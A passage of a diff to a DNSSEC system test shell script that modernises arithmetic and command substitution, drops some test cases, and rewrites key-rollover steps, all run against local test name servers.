+n=$((n + 1))
 if [ $ret != 0 ]; then echo_i "failed"; fi
-status=`expr $status + $ret`
+status=$((status + ret))
 
 echo_i "checking TTLs of imported DNSKEYs (no default) ($n)"
 ret=0
 $DIG $DIGOPTS +tcp +noall +answer dnskey ttl1.example. @10.53.0.3 > dig.out.ns3.test$n || ret=1
 [ -s dig.out.ns3.test$n ] || ret=1
 (awk 'BEGIN {r=0} $2 != 300 {r=1; print "found TTL " $2} END {exit r}' dig.out.ns3.test$n | cat_i) || ret=1
-n=`expr $n + 1`
+n=$((n + 1))
 if [ $ret != 0 ]; then echo_i "failed"; fi
-status=`expr $status + $ret`
+status=$((status + ret))
 
 echo_i "checking TTLs of imported DNSKEYs (with default) ($n)"
 ret=0
 $DIG $DIGOPTS +tcp +noall +answer dnskey ttl2.example. @10.53.0.3 > dig.out.ns3.test$n || ret=1
 [ -s dig.out.ns3.test$n ] || ret=1
 (awk 'BEGIN {r=0} $2 != 60 {r=1; print "found TTL " $2} END {exit r}' dig.out.ns3.test$n | cat_i) || ret=1
-n=`expr $n + 1`
+n=$((n + 1))
 if [ $ret != 0 ]; then echo_i "failed"; fi
-status=`expr $status + $ret`
+status=$((status + ret))
 
 echo_i "checking TTLs of imported DNSKEYs (mismatched) ($n)"
 ret=0
 $DIG $DIGOPTS +tcp +noall +answer dnskey ttl3.example. @10.53.0.3 > dig.out.ns3.test$n || ret=1
 [ -s dig.out.ns3.test$n ] || ret=1
 (awk 'BEGIN {r=0} $2 != 30 {r=1; print "found TTL " $2} END {exit r}' dig.out.ns3.test$n | cat_i) || ret=1
-n=`expr $n + 1`
+n=$((n + 1))
 if [ $ret != 0 ]; then echo_i "failed"; fi
-status=`expr $status + $ret`
+status=$((status + ret))
 
 echo_i "checking TTLs of imported DNSKEYs (existing RRset) ($n)"
 ret=0
 $DIG $DIGOPTS +tcp +noall +answer dnskey ttl4.example. @10.53.0.3 > dig.out.ns3.test$n || ret=1
 [ -s dig.out.ns3.test$n ] || ret=1
 (awk 'BEGIN {r=0} $2 != 30 {r=1; print "found TTL " $2} END {exit r}' dig.out.ns3.test$n | cat_i) || ret=1
-n=`expr $n + 1`
+n=$((n + 1))
 if [ $ret != 0 ]; then echo_i "failed"; fi
-status=`expr $status + $ret`
+status=$((status + ret))
 
 echo_i "checking positive validation NSEC ($n)"
 ret=0
@@ -542,9 +365,9 @@ $DIG $DIGOPTS +noauth a.example. @10.53.0.2 a > dig.out.ns2.test$n || ret=1
 $DIG $DIGOPTS +noauth a.example. @10.53.0.4 a > dig.out.ns4.test$n || ret=1
 digcomp dig.out.ns2.test$n dig.out.ns4.test$n || ret=1
 grep "flags:.*ad.*QUERY" dig.out.ns4.test$n > /dev/null || ret=1
-n=`expr $n + 1`
+n=$((n + 1))
 if [ $ret != 0 ]; then echo_i "failed"; fi
-status=`expr $status + $ret`
+status=$((status + ret))
 
 echo_i "checking positive validation NSEC3 ($n)"
 ret=0
@@ -554,9 +377,9 @@ $DIG $DIGOPTS +noauth a.nsec3.example. \
 	@10.53.0.4 a > dig.out.ns4.test$n || ret=1
 digcomp dig.out.ns3.test$n dig.out.ns4.test$n || ret=1
 grep "flags:.*ad.*QUERY" dig.out.ns4.test$n > /dev/null || ret=1
-n=`expr $n + 1`
+n=$((n + 1))
 if [ $ret != 0 ]; then echo_i "failed"; fi
-status=`expr $status + $ret`
+status=$((status + ret))
 
 echo_i "checking positive validation OPTOUT ($n)"
 ret=0
@@ -566,9 +389,9 @@ $DIG $DIGOPTS +noauth a.optout.example. \
 	@10.53.0.4 a > dig.out.ns4.test$n || ret=1
 digcomp dig.out.ns3.test$n dig.out.ns4.test$n || ret=1
 grep "flags:.*ad.*QUERY" dig.out.ns4.test$n > /dev/null || ret=1
-n=`expr $n + 1`
+n=$((n + 1))
 if [ $ret != 0 ]; then echo_i "failed"; fi
-status=`expr $status + $ret`
+status=$((status + ret))
 
 echo_i "checking negative validation NXDOMAIN NSEC ($n)"
 ret=0
@@ -577,9 +400,9 @@ $DIG $DIGOPTS +noauth q.example. @10.53.0.4 a > dig.out.ns4.test$n || ret=1
 digcomp dig.out.ns2.test$n dig.out.ns4.test$n || ret=1
 grep "flags:.*ad.*QUERY" dig.out.ns4.test$n > /dev/null || ret=1
 grep "status: NXDOMAIN" dig.out.ns4.test$n > /dev/null || ret=1
-n=`expr $n + 1`
+n=$((n + 1))
 if [ $ret != 0 ]; then echo_i "failed"; fi
-status=`expr $status + $ret`
+status=$((status + ret))
 
 echo_i "checking negative validation NXDOMAIN NSEC3 ($n)"
 ret=0
@@ -590,9 +413,9 @@ $DIG $DIGOPTS +noauth q.nsec3.example. \
 digcomp dig.out.ns3.test$n dig.out.ns4.test$n || ret=1
 grep "flags:.*ad.*QUERY" dig.out.ns4.test$n > /dev/null || ret=1
 grep "status: NXDOMAIN" dig.out.ns4.test$n > /dev/null || ret=1
-n=`expr $n + 1`
+n=$((n + 1))
 if [ $ret != 0 ]; then echo_i "failed"; fi
-status=`expr $status + $ret`
+status=$((status + ret))
 
 echo_i "checking negative validation NXDOMAIN OPTOUT ($n)"
 ret=0
@@ -604,9 +427,9 @@ digcomp dig.out.ns3.test$n dig.out.ns4.test$n || ret=1
 grep "status: NXDOMAIN" dig.out.ns4.test$n > /dev/null || ret=1
 # Note - this is looking for failure, hence the &&
 grep "flags:.*ad.*QUERY" dig.out.ns4.test$n > /dev/null && ret=1
-n=`expr $n + 1`
+n=$((n + 1))
 if [ $ret != 0 ]; then echo_i "failed"; fi
-status=`expr $status + $ret`
+status=$((status + ret))
 
 echo_i "checking negative validation NODATA NSEC ($n)"
 ret=0
@@ -616,9 +439,9 @@ digcomp dig.out.ns2.test$n dig.out.ns4.test$n || ret=1
 grep "flags:.*ad.*QUERY" dig.out.ns4.test$n > /dev/null || ret=1
 grep "status: NOERROR" dig.out.ns4.test$n > /dev/null || ret=1
 grep "ANSWER: 0" dig.out.ns4.test$n > /dev/null || ret=1
-n=`expr $n + 1`
+n=$((n + 1))
 if [ $ret != 0 ]; then echo_i "failed"; fi
-status=`expr $status + $ret`
+status=$((status + ret))
 
 echo_i "checking negative validation NODATA NSEC3 ($n)"
 ret=0
@@ -630,9 +453,9 @@ digcomp dig.out.ns3.test$n dig.out.ns4.test$n || ret=1
 grep "flags:.*ad.*QUERY" dig.out.ns4.test$n > /dev/null || ret=1
 grep "status: NOERROR" dig.out.ns4.test$n > /dev/null || ret=1
 grep "ANSWER: 0" dig.out.ns4.test$n > /dev/null || ret=1
-n=`expr $n + 1`
+n=$((n + 1))
 if [ $ret != 0 ]; then echo_i "failed"; fi
-status=`expr $status + $ret`
+status=$((status + ret))
 
 echo_i "checking negative validation NODATA OPTOUT ($n)"
 ret=0
@@ -644,9 +467,9 @@ digcomp dig.out.ns3.test$n dig.out.ns4.test$n || ret=1
 grep "flags:.*ad.*QUERY" dig.out.ns4.test$n > /dev/null || ret=1
 grep "status: NOERROR" dig.out.ns4.test$n > /dev/null || ret=1
 grep "ANSWER: 0" dig.out.ns4.test$n > /dev/null || ret=1
-n=`expr $n + 1`
+n=$((n + 1))
 if [ $ret != 0 ]; then echo_i "failed"; fi
-status=`expr $status + $ret`
+status=$((status + ret))
 
 # Check the insecure.example domain
 
@@ -658,9 +481,9 @@ digcomp dig.out.ns3.test$n dig.out.ns4.test$n || ret=1
 grep "status: NOERROR" dig.out.ns4.test$n > /dev/null || ret=1
 # Note - this is looking for failure, hence the &&
 grep "flags:.*ad.*QUERY" dig.out.ns4.test$n > /dev/null && ret=1
-n=`expr $n + 1`
+n=$((n + 1))
 if [ $ret != 0 ]; then echo_i "failed"; fi
-status=`expr $status + $ret`
+status=$((status + ret))
 
 echo_i "checking 1-server negative insecurity proof NSEC ($n)"
 ret=0
@@ -672,9 +495,9 @@ digcomp dig.out.ns3.test$n dig.out.ns4.test$n || ret=1
 grep "status: NXDOMAIN" dig.out.ns4.test$n > /dev/null || ret=1
 # Note - this is looking for failure, hence the &&
 grep "flags:.*ad.*QUERY" dig.out.ns4.test$n > /dev/null && ret=1
-n=`expr $n + 1`
+n=$((n + 1))
 if [ $ret != 0 ]; then echo_i "failed"; fi
-status=`expr $status + $ret`
+status=$((status + ret))
 
 # Check the secure.example domain
 
@@ -687,9 +510,9 @@ $DIG $DIGOPTS +noauth a.secure.example. \
 digcomp dig.out.ns3.test$n dig.out.ns4.test$n || ret=1
 grep "status: NOERROR" dig.out.ns4.test$n > /dev/null || ret=1
 grep "flags:.*ad.*QUERY" dig.out.ns4.test$n > /dev/null || ret=1
-n=`expr $n + 1`
+n=$((n + 1))
 if [ $ret != 0 ]; then echo_i "failed"; fi
-status=`expr $status + $ret`
+status=$((status + ret))
 
 echo_i "checking multi-stage positive validation NSEC/NSEC3 ($n)"
 ret=0
@@ -700,9 +523,9 @@ $DIG $DIGOPTS +noauth a.nsec3.example. \
 digcomp dig.out.ns3.test$n dig.out.ns4.test$n || ret=1
 grep "status: NOERROR" dig.out.ns4.test$n > /dev/null || ret=1
 grep "flags:.*ad.*QUERY" dig.out.ns4.test$n > /dev/null || ret=1
-n=`expr $n + 1`
+n=$((n + 1))
 if [ $ret != 0 ]; then echo_i "failed"; fi
-status=`expr $status + $ret`
+status=$((status + ret))
 
 echo_i "checking multi-stage positive validation NSEC/OPTOUT ($n)"
 ret=0
@@ -713,9 +536,9 @@ $DIG $DIGOPTS +noauth a.optout.example. \
 digcomp dig.out.ns3.test$n dig.out.ns4.test$n || ret=1
 grep "status: NOERROR" dig.out.ns4.test$n > /dev/null || ret=1
 grep "flags:.*ad.*QUERY" dig.out.ns4.test$n > /dev/null || ret=1
-n=`expr $n + 1`
+n=$((n + 1))
 if [ $ret != 0 ]; then echo_i "failed"; fi
-status=`expr $status + $ret`
+status=$((status + ret))
 
 echo_i "checking multi-stage positive validation NSEC3/NSEC ($n)"
 ret=0
@@ -726,9 +549,9 @@ $DIG $DIGOPTS +noauth a.secure.nsec3.example. \
 digcomp dig.out.ns3.test$n dig.out.ns4.test$n || ret=1
 grep "status: NOERROR" dig.out.ns4.test$n > /dev/null || ret=1
 grep "flags:.*ad.*QUERY" dig.out.ns4.test$n > /dev/null || ret=1
-n=`expr $n + 1`
+n=$((n + 1))
 if [ $ret != 0 ]; then echo_i "failed"; fi
-status=`expr $status + $ret`
+status=$((status + ret))
 
 echo_i "checking multi-stage positive validation NSEC3/NSEC3 ($n)"
 ret=0
@@ -739,9 +562,9 @@ $DIG $DIGOPTS +noauth a.nsec3.nsec3.example. \
 digcomp dig.out.ns3.test$n dig.out.ns4.test$n || ret=1
 grep "status: NOERROR" dig.out.ns4.test$n > /dev/null || ret=1
 grep "flags:.*ad.*QUERY" dig.out.ns4.test$n > /dev/null || ret=1
-n=`expr $n + 1`
+n=$((n + 1))
 if [ $ret != 0 ]; then echo_i "failed"; fi
-status=`expr $status + $ret`
+status=$((status + ret))
 
 echo_i "checking multi-stage positive validation NSEC3/OPTOUT ($n)"
 ret=0
@@ -752,9 +575,9 @@ $DIG $DIGOPTS +noauth a.optout.nsec3.example. \
 digcomp dig.out.ns3.test$n dig.out.ns4.test$n || ret=1
 grep "status: NOERROR" dig.out.ns4.test$n > /dev/null || ret=1
 grep "flags:.*ad.*QUERY" dig.out.ns4.test$n > /dev/null || ret=1
-n=`expr $n + 1`
+n=$((n + 1))
 if [ $ret != 0 ]; then echo_i "failed"; fi
-status=`expr $status + $ret`
+status=$((status + ret))
 
 echo_i "checking multi-stage positive validation OPTOUT/NSEC ($n)"
 ret=0
@@ -765,9 +588,9 @@ $DIG $DIGOPTS +noauth a.secure.optout.example. \
 digcomp dig.out.ns3.test$n dig.out.ns4.test$n || ret=1
 grep "status: NOERROR" dig.out.ns4.test$n > /dev/null || ret=1
 grep "flags:.*ad.*QUERY" dig.out.ns4.test$n > /dev/null || ret=1
-n=`expr $n + 1`
+n=$((n + 1))
 if [ $ret != 0 ]; then echo_i "failed"; fi
-status=`expr $status + $ret`
+status=$((status + ret))
 
 echo_i "checking multi-stage positive validation OPTOUT/NSEC3 ($n)"
 ret=0
@@ -778,9 +601,9 @@ $DIG $DIGOPTS +noauth a.nsec3.optout.example. \
 digcomp dig.out.ns3.test$n dig.out.ns4.test$n || ret=1
 grep "status: NOERROR" dig.out.ns4.test$n > /dev/null || ret=1
 grep "flags:.*ad.*QUERY" dig.out.ns4.test$n > /dev/null || ret=1
-n=`expr $n + 1`
+n=$((n + 1))
 if [ $ret != 0 ]; then echo_i "failed"; fi
-status=`expr $status + $ret`
+status=$((status + ret))
 
 echo_i "checking multi-stage positive validation OPTOUT/OPTOUT ($n)"
 ret=0
@@ -791,9 +614,9 @@ $DIG $DIGOPTS +noauth a.optout.optout.example. \
 digcomp dig.out.ns3.test$n dig.out.ns4.test$n || ret=1
 grep "status: NOERROR" dig.out.ns4.test$n > /dev/null || ret=1
 grep "flags:.*ad.*QUERY" dig.out.ns4.test$n > /dev/null || ret=1
-n=`expr $n + 1`
+n=$((n + 1))
 if [ $ret != 0 ]; then echo_i "failed"; fi
-status=`expr $status + $ret`
+status=$((status + ret))
 
 echo_i "checking empty NODATA OPTOUT ($n)"
 ret=0
@@ -804,9 +627,9 @@ $DIG $DIGOPTS +noauth empty.optout.example. \
 digcomp dig.out.ns3.test$n dig.out.ns4.test$n || ret=1
 grep "status: NOERROR" dig.out.ns4.test$n > /dev/null || ret=1
 #grep "flags:.*ad.*QUERY" dig.out.ns4.test$n > /dev/null || ret=1
-n=`expr $n + 1`
+n=$((n + 1))
 if [ $ret != 0 ]; then echo_i "failed"; fi
-status=`expr $status + $ret`
+status=$((status + ret))
 
 # Check the insecure.secure.example domain (insecurity proof)
 
@@ -820,9 +643,9 @@ digcomp dig.out.ns2.test$n dig.out.ns4.test$n || ret=1
 grep "status: NOERROR" dig.out.ns4.test$n > /dev/null || ret=1
 # Note - this is looking for failure, hence the &&
 grep "flags:.*ad.*QUERY" dig.out.ns4.test$n > /dev/null && ret=1
-n=`expr $n + 1`
+n=$((n + 1))
 if [ $ret != 0 ]; then echo_i "failed"; fi
-status=`expr $status + $ret`
+status=$((status + ret))
 
 # Check a negative response in insecure.secure.example
 
@@ -836,18 +659,18 @@ digcomp dig.out.ns2.test$n dig.out.ns4.test$n || ret=1
 grep "status: NXDOMAIN" dig.out.ns4.test$n > /dev/null || ret=1
 # Note - this is looking for failure, hence the &&
 grep "flags:.*ad.*QUERY" dig.out.ns4.test$n > /dev/null && ret=1
-n=`expr $n + 1`
+n=$((n + 1))
 if [ $ret != 0 ]; then echo_i "failed"; fi
-status=`expr $status + $ret`
+status=$((status + ret))
 
 echo_i "checking security root query ($n)"
 ret=0
 $DIG $DIGOPTS . @10.53.0.4 key > dig.out.ns4.test$n || ret=1
 grep "NOERROR" dig.out.ns4.test$n > /dev/null || ret=1
 grep "flags:.*ad.*QUERY" dig.out.ns4.test$n > /dev/null || ret=1
-n=`expr $n + 1`
+n=$((n + 1))
 if [ $ret != 0 ]; then echo_i "failed"; fi
-status=`expr $status + $ret`
+status=$((status + ret))
 
 echo_i "checking positive validation RSASHA256 NSEC ($n)"
 ret=0
@@ -855,9 +678,9 @@ $DIG $DIGOPTS +noauth a.rsasha256.example. @10.53.0.3 a > dig.out.ns3.test$n ||
 $DIG $DIGOPTS +noauth a.rsasha256.example. @10.53.0.4 a > dig.out.ns4.test$n || ret=1
 digcomp dig.out.ns3.test$n dig.out.ns4.test$n || ret=1
 grep "flags:.*ad.*QUERY" dig.out.ns4.test$n > /dev/null || ret=1
-n=`expr $n + 1`
+n=$((n + 1))
 if [ $ret != 0 ]; then echo_i "failed"; fi
-status=`expr $status + $ret`
+status=$((status + ret))
 
 echo_i "checking positive validation RSASHA512 NSEC ($n)"
 ret=0
@@ -865,9 +688,9 @@ $DIG $DIGOPTS +noauth a.rsasha512.example. @10.53.0.3 a > dig.out.ns3.test$n ||
 $DIG $DIGOPTS +noauth a.rsasha512.example. @10.53.0.4 a > dig.out.ns4.test$n || ret=1
 digcomp dig.out.ns3.test$n dig.out.ns4.test$n || ret=1
 grep "flags:.*ad.*QUERY" dig.out.ns4.test$n > /dev/null || ret=1
-n=`expr $n + 1`
+n=$((n + 1))
 if [ $ret != 0 ]; then echo_i "failed"; fi
-status=`expr $status + $ret`
+status=$((status + ret))
 
 echo_i "checking that positive validation in a privately secure zone works ($n)"
 ret=0
@@ -878,9 +701,9 @@ $DIG $DIGOPTS +noauth a.private.secure.example. a @10.53.0.4 \
 digcomp dig.out.ns2.test$n dig.out.ns4.test$n || ret=1
 grep "NOERROR" dig.out.ns4.test$n > /dev/null || ret=1
 grep "flags:.*ad.*QUERY" dig.out.ns4.test$n > /dev/null || ret=1
-n=`expr $n + 1`
+n=$((n + 1))
 if [ $ret != 0 ]; then echo_i "failed"; fi
-status=`expr $status + $ret`
+status=$((status + ret))
 
 echo_i "checking that negative validation in a privately secure zone works ($n)"
 ret=0
@@ -892,18 +715,18 @@ digcomp dig.out.ns2.test$n dig.out.ns4.test$n || ret=1
 grep "NXDOMAIN" dig.out.ns4.test$n > /dev/null || ret=1
 # Note - this is looking for failure, hence the &&
 grep "flags:.*ad.*QUERY" dig.out.ns4.test$n > /dev/null && ret=1
-n=`expr $n + 1`
+n=$((n + 1))
 if [ $ret != 0 ]; then echo_i "failed"; fi
-status=`expr $status + $ret`
+status=$((status + ret))
 
 echo_i "checking privately secure to nxdomain works ($n)"
 ret=0
 $DIG $DIGOPTS +noauth private2secure-nxdomain.private.secure.example. SOA @10.53.0.4 > dig.out.ns4.test$n || ret=1
 grep "NXDOMAIN" dig.out.ns4.test$n > /dev/null || ret=1
 grep "flags:.*ad.*QUERY" dig.out.ns4.test$n > /dev/null || ret=1
-n=`expr $n + 1`
+n=$((n + 1))
 if [ $ret != 0 ]; then echo_i "failed"; fi
-status=`expr $status + $ret`
+status=$((status + ret))
 
 # Try validating with a revoked trusted key.
 # This should fail.
@@ -913,69 +736,69 @@ ret=0
 $DIG $DIGOPTS example. soa @10.53.0.5 > dig.out.ns5.test$n || ret=1
 grep "flags:.*; QUERY" dig.out.ns5.test$n > /dev/null || ret=1
 grep "flags:.* ad.*; QUERY" dig.out.ns5.test$n > /dev/null && ret=1
-n=`expr $n + 1`
+n=$((n + 1))
 if [ $ret != 0 ]; then echo_i "failed"; fi
-status=`expr $status + $ret`
+status=$((status + ret))
 
 echo_i "checking that revoked key is present ($n)"
 ret=0
-id=`cat rev.key`
+id=$(cat rev.key)
 $DIG $DIGOPTS +multi dnskey . @10.53.0.1 > dig.out.ns1.test$n || ret=1
 grep '; key id = '"$id"'$' dig.out.ns1.test$n > /dev/null || ret=1
-n=`expr $n + 1`
+n=$((n + 1))
 if [ $ret != 0 ]; then echo_i "failed"; fi
-status=`expr $status + $ret`
+status=$((status + ret))
 
 echo_i "checking that revoked key self-signs ($n)"
 ret=0
-id=`cat rev.key`
+id=$(cat rev.key)
 $DIG $DIGOPTS dnskey . @10.53.0.1 > dig.out.ns1.test$n || ret=1
 grep 'RRSIG.*'" $id "'\. ' dig.out.ns1.test$n > /dev/null || ret=1
-n=`expr $n + 1`
+n=$((n + 1))
 if [ $ret != 0 ]; then echo_i "failed"; fi
-status=`expr $status + $ret`
+status=$((status + ret))
 
 echo_i "checking for unpublished key ($n)"
 ret=0
 id=$(keyfile_to_key_id "$(cat unpub.key)")
 $DIG $DIGOPTS +multi dnskey . @10.53.0.1 > dig.out.ns1.test$n || ret=1
 grep '; key id = '"$id"'$' dig.out.ns1.test$n > /dev/null && ret=1
-n=`expr $n + 1`
+n=$((n + 1))
 if [ $ret != 0 ]; then echo_i "failed"; fi
-status=`expr $status + $ret`
+status=$((status + ret))
 
 echo_i "checking for activated but unpublished key ($n)"
 ret=0
 id=$(keyfile_to_key_id "$(cat activate-now-publish-1day.key)")
 $DIG $DIGOPTS +multi dnskey . @10.53.0.1 > dig.out.ns1.test$n || ret=1
 grep '; key id = '"$id"'$' dig.out.ns1.test$n > /dev/null && ret=1
-n=`expr $n + 1`
+n=$((n + 1))
 if [ $ret != 0 ]; then echo_i "failed"; fi
-status=`expr $status + $ret`
+status=$((status + ret))
 
 echo_i "checking that standby key does not sign records ($n)"
 ret=0
 id=$(keyfile_to_key_id "$(cat standby.key)")
 $DIG $DIGOPTS dnskey . @10.53.0.1 > dig.out.ns1.test$n || ret=1
 grep 'RRSIG.*'" $id "'\. ' dig.out.ns1.test$n > /dev/null && ret=1
-n=`expr $n + 1`
+n=$((n + 1))
 if [ $ret != 0 ]; then echo_i "failed"; fi
-status=`expr $status + $ret`
+status=$((status + ret))
 
-echo_i "checking that deactivated key does not sign records  ($n)"
+echo_i "checking that deactivated key does not sign records ($n)"
 ret=0
 id=$(keyfile_to_key_id "$(cat inact.key)")
 $DIG $DIGOPTS dnskey . @10.53.0.1 > dig.out.ns1.test$n || ret=1
 grep 'RRSIG.*'" $id "'\. ' dig.out.ns1.test$n > /dev/null && ret=1
-n=`expr $n + 1`
+n=$((n + 1))
 if [ $ret != 0 ]; then echo_i "failed"; fi
-status=`expr $status + $ret`
+status=$((status + ret))
 
 echo_i "checking insertion of public-only key ($n)"
 ret=0
 id=$(keyfile_to_key_id "$(cat nopriv.key)")
-file="ns1/`cat nopriv.key`.key"
-keydata=`grep DNSKEY $file`
+file="ns1/$(cat nopriv.key).key"
+keydata=$(grep DNSKEY $file)
 $NSUPDATE > /dev/null 2>&1 <<END	|| status=1
 server 10.53.0.1 ${PORT}
 zone .
@@ -986,139 +809,71 @@ END
 sleep 1
 $DIG $DIGOPTS dnskey . @10.53.0.1 > dig.out.ns1.test$n || ret=1
 grep 'RRSIG.*'" $id "'\. ' dig.out.ns1.test$n > /dev/null && ret=1
-n=`expr $n + 1`
+n=$((n + 1))
 if [ $ret != 0 ]; then echo_i "failed"; fi
-status=`expr $status + $ret`
+status=$((status + ret))
 
 echo_i "checking key deletion ($n)"
 ret=0
 id=$(keyfile_to_key_id "$(cat del.key)")
 $DIG $DIGOPTS +multi dnskey . @10.53.0.1 > dig.out.ns1.test$n || ret=1
 grep '; key id = '"$id"'$' dig.out.ns1.test$n > /dev/null && ret=1
-n=`expr $n + 1`
+n=$((n + 1))
 if [ $ret != 0 ]; then echo_i "failed"; fi
-status=`expr $status + $ret`
-
-echo_i "checking secure-to-insecure transition, nsupdate ($n)"
-ret=0
-$NSUPDATE > /dev/null 2>&1 <<END	|| status=1
-server 10.53.0.3 ${PORT}
-zone secure-to-insecure.example
-update delete secure-to-insecure.example dnskey
-send
-END
-for i in 0 1 2 3 4 5 6 7 8 9; do
-	ret=0
-	$DIG $DIGOPTS axfr secure-to-insecure.example @10.53.0.3 > dig.out.ns3.test$n || ret=1
-	egrep '(RRSIG|DNSKEY|NSEC)' dig.out.ns3.test$n > /dev/null && ret=1
-	[ $ret -eq 0 ] && break
-	echo_i "waiting ... ($i)"
-	sleep 2
-done
-n=`expr $n + 1`
-if [ $ret != 0 ]; then echo_i "failed"; fi
-status=`expr $status + $ret`
-
-echo_i "checking secure-to-insecure transition, scheduled ($n)"
-ret=0
-file="ns3/`cat del1.key`.key"
-$SETTIME -I now -D now $file > settime.out.test$n.1 || ret=1
-file="ns3/`cat del2.key`.key"
-$SETTIME -I now -D now $file > settime.out.test$n.2 || ret=1
-($RNDCCMD 10.53.0.3 sign secure-to-insecure2.example. 2>&1 | sed 's/^/ns3 /' | cat_i) || ret=1
-for i in 0 1 2 3 4 5 6 7 8 9; do
-	ret=0
-	$DIG $DIGOPTS axfr secure-to-insecure2.example @10.53.0.3 > dig.out.ns3.test$n || ret=1
-	egrep '(RRSIG|DNSKEY|NSEC3)' dig.out.ns3.test$n > /dev/null && ret=1
-	[ $ret -eq 0 ] && break
-	echo_i "waiting ... ($i)"
-	sleep 2
-done
-n=`expr $n + 1`
-if [ $ret != 0 ]; then echo_i "failed"; fi
-status=`expr $status + $ret`
-
-echo_i "checking jitter in a newly signed NSEC3 zone ($n)"
-ret=0
-# Use DNS UPDATE to add an NSEC3PARAM record into the zone.
-$NSUPDATE > nsupdate.out.test$n 2>&1 <<END || ret=1
-server 10.53.0.3 ${PORT}
-zone jitter.nsec3.example.
-update add jitter.nsec3.example. 3600 NSEC3PARAM 1 0 10 BEEF
-send
-END
-[ $ret != 0 ] && echo_i "error: dynamic update add NSEC3PARAM failed"
-# Create DNSSEC keys in the zone directory.
-$KEYGEN -a rsasha1 -3 -q -K ns3 jitter.nsec3.example > /dev/null
-# Trigger zone signing.
-($RNDCCMD 10.53.0.3 sign jitter.nsec3.example. 2>&1 | sed 's/^/ns3 /' | cat_i) || ret=1
-# Wait until zone has been signed.
-check_if_nsec3param_exists() {
-	$DIG $DIGOPTS NSEC3PARAM jitter.nsec3.example @10.53.0.3 > dig.out.ns3.1.test$n || return 1
-	grep -q "^jitter\.nsec3\.example\..*NSEC3PARAM" dig.out.ns3.1.test$n || return 1
-}
-retry_quiet 40 check_if_nsec3param_exists || {
-	echo_i "error: NSEC3PARAM not present yet"
-	ret=1
-}
-$DIG $DIGOPTS AXFR jitter.nsec3.example @10.53.0.3 > dig.out.ns3.2.test$n || ret=1
-# Check jitter distribution.
-checkjitter dig.out.ns3.2.test$n || ret=1
-n=`expr $n + 1`
-if [ $ret != 0 ]; then echo_i "failed"; fi
-status=`expr $status + $ret`
+status=$((status + ret))
 
 echo_i "checking that serial number and RRSIGs are both updated (rt21045) ($n)"
 ret=0
-oldserial=`$DIG $DIGOPTS +short soa prepub.example @10.53.0.3 | awk '$0 !~ /SOA/ {print $3}'`
-oldinception=`$DIG $DIGOPTS +short soa prepub.example @10.53.0.3 | awk '/SOA/ {print $6}' | sort -u`
-
-$KEYGEN -a rsasha1 -3 -q -K ns3 -P 0 -A +6d -I +38d -D +45d prepub.example > /dev/null
-
-($RNDCCMD 10.53.0.3 sign prepub.example 2>&1 | sed 's/^/ns1 /' | cat_i) || ret=1
+$DIG $DIGOPTS +short soa prepub.example @10.53.0.3 > dig.out.ns3.test$n || ret=1
+oldserial=$(cat dig.out.ns3.test$n | awk '$0 !~ /SOA/ {print $3}')
+oldinception=$(cat dig.out.ns3.test$n | awk '/SOA/ {print $6}' | sort -u)
+id=$(keyfile_to_key_id "$(cat prepub.key)")
+echo_i "prepublish key for ZSK $id"
+($RNDCCMD 10.53.0.3 dnssec -rollover -key $id prepub.example 2>&1 | sed 's/^/ns3 /' | cat_i) || ret=1
 newserial=$oldserial
 try=0
 while [ $oldserial -eq $newserial -a $try -lt 42 ]
 do
-	newserial=`$DIG $DIGOPTS +short soa prepub.example @10.53.0.3 |
-		 awk '$0 !~ /SOA/ {print $3}'`
+	$DIG $DIGOPTS +short soa prepub.example @10.53.0.3 > dig.out.ns3.test$n.2
+	newserial=$(cat dig.out.ns3.test$n.2 | awk '$0 !~ /SOA/ {print $3}')
 	sleep 1
-	try=`expr $try + 1`
+	try=$((try + 1))
 done
-newinception=`$DIG $DIGOPTS +short soa prepub.example @10.53.0.3 | awk '/SOA/ {print $6}' | sort -u`
+newinception=$(cat dig.out.ns3.test$n.2 | awk '/SOA/ {print $6}' | sort -u)
 #echo "$oldserial : $newserial"
 #echo "$oldinception : $newinception"
 
 [ "$oldserial" = "$newserial" ] && ret=1
 [ "$oldinception" = "$newinception" ] && ret=1
-n=`expr $n + 1`
+n=$((n + 1))
 if [ $ret != 0 ]; then echo_i "failed"; fi
-status=`expr $status + $ret`
-
-echo_i "preparing to test key change corner cases"
-echo_i "removing a private key file"
-file="ns1/`cat vanishing.key`.private"
-rm -f $file
+status=$((status + ret))
 
 echo_i "preparing ZSK roll"
-starttime=`$PERL -e 'print time(), "\n";'`
-oldfile=`cat active.key`
+starttime=$($PERL -e 'print time(), "\n";')
+oldfile=$(cat active.key)
 oldid=$(keyfile_to_key_id "$(cat active.key)")
-newfile=`cat standby.key`
+newfile=$(cat standby.key)
 newid=$(keyfile_to_key_id "$(cat standby.key)")
-$SETTIME -K ns1 -I now+2s -D now+25 $oldfile > settime.out.test$n.1 || ret=1
+$SETTIME -K ns1 -I now -D now+25 $oldfile > settime.out.test$n.1 || ret=1
 $SETTIME -K ns1 -i 0 -S $oldfile $newfile > settime.out.test$n.2 || ret=1
 
 # note previous zone serial number
-oldserial=`$DIG $DIGOPTS +short soa . @10.53.0.1 | awk '{print $3}'`
+oldserial=$($DIG $DIGOPTS +short soa . @10.53.0.1 | awk '{print $3}')
 
-($RNDCCMD 10.53.0.1 loadkeys . 2>&1 | sed 's/^/ns1 /' | cat_i) || ret=1
+($RNDCCMD 10.53.0.1 freeze . 2>&1 | sed 's/^/ns1 /' | cat_i) || ret=1
+cp ns1/root.db.signed ns1/root.db.1
+$SIGNER -S -o . -O full -K ns1 -f ns1/root.db.signed ns1/root.db.1 > signing.root.out$n 2>&1 || ret=1
+($RNDCCMD 10.53.0.1 thaw . 2>&1 | sed 's/^/ns1 /' | cat_i) || ret=1
 sleep 4
 
 echo_i "revoking key to duplicated key ID"
-$SETTIME -R now -K ns2 Kbar.+005+30676.key > settime.out.test$n.3 || ret=1
+$SETTIME -R now -K ns2 Kbar.+013+59973.key > settime.out.test$n.3 || ret=1
 
-($RNDCCMD 10.53.0.2 loadkeys bar. 2>&1 | sed 's/^/ns2 /' | cat_i) || ret=1
+($RNDCCMD 10.53.0.2 freeze bar. 2>&1 | sed 's/^/ns2 /' | cat_i) || ret=1
+cp ns2/bar.db.signed ns2/bar.db
+$SIGNER -S -o bar. -O full -K ns2 ns2/bar.db > signing.bar.out$n 2>&1 || ret=1
+($RNDCCMD 10.53.0.2 thaw bar. 2>&1 | sed 's/^/ns2 /' | cat_i) || ret=1
 
 echo_i "waiting for changes to take effect"
 sleep 5
@@ -1127,75 +882,85 @@ echo_i "checking former standby key $newid is now active ($n)"
 ret=0
